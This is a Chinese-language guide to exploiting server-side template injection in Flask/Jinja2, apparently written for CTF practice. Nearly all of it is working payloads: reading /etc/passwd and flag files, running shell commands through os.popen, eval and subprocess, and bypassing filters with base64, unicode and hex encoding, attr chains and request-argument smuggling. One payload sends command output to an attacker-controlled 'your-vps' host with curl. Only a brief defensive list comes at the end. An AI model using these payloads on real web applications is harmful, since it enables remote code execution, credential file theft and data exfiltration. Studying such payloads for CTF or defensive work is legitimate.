以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用
字数 1180 2025-08-05 08:17:20
Flask-jinja2 SSTI 漏洞利用完全指南
1. SSTI 基本概念
SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当攻击者能够将恶意模板代码注入到模板引擎中时,可能导致远程代码执行。
2. Flask-jinja2 SSTI 利用基础
2.1 常用魔术方法
__class__: 查看变量所属的类__bases__: 查看类的基类__mro__: 获取类的调用顺序__subclasses__(): 查看当前类的子类列表__builtins__: 查看当前所有导入的内建函数__globals__: 以字典形式返回当前位置的所有全局变量__import__(): 用于动态加载类和函数
2.2 基本利用思路
- 找到父类
<type 'object'> - 寻找子类
- 查找关于命令执行或文件操作的模块
3. 文件读取利用
3.1 Python 2 环境
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
3.2 Python 3 环境
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
4. 命令执行利用
4.1 使用 eval 函数
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
4.2 使用 os 模块
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
4.3 使用 popen 函数
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
4.4 使用 importlib 类
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}
4.5 使用 linecache 函数
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
4.6 使用 subprocess.Popen 类
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
5. Bypass 技巧
5.1 关键字绕过
5.1.1 字符串拼接
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
5.1.2 编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
5.1.3 Unicode 编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
5.1.4 Hex 编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
5.1.5 引号绕过
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
5.1.6 join() 函数
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
5.2 特殊字符绕过
5.2.1 过滤中括号 [ ]
使用 __getitem__():
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}
5.2.2 过滤引号
使用 chr() 函数:
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
5.2.3 过滤下划线 __
使用 request 对象:
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
5.2.4 过滤点 .
使用 |attr():
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
5.2.5 过滤大括号 {{
使用 {%...%}:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
或使用 {%print(...)%}:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
6. 高级 Bypass 技巧
6.1 使用 JinJa 过滤器
常用字符获取入口点:
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
数字构造:
{% set zero = (self|int) %} # 0
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
6.2 过滤 request 和 class
使用 session 对象:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('ls /').read()}}
使用 __enter__ 方法替代 __init__:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('ls /').read()}}
7. 无回显 SSTI
使用 os.popen 和 curl 外带数据:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://your-vps:2333 -d `ls /|grep flag`') %}1{% endif %}
8. 防御措施
- 避免直接将用户输入作为模板渲染
- 对用户输入进行严格的过滤和转义
- 使用沙箱环境限制模板执行能力
- 禁用危险的模板功能和方法
9. 总结
Flask-jinja2 SSTI 漏洞利用的核心是通过 Python 的对象继承链找到可利用的类和方法,结合各种绕过技巧实现文件读取或命令执行。理解 Python 的类继承机制和 Jinja2 模板引擎的特性是成功利用的关键。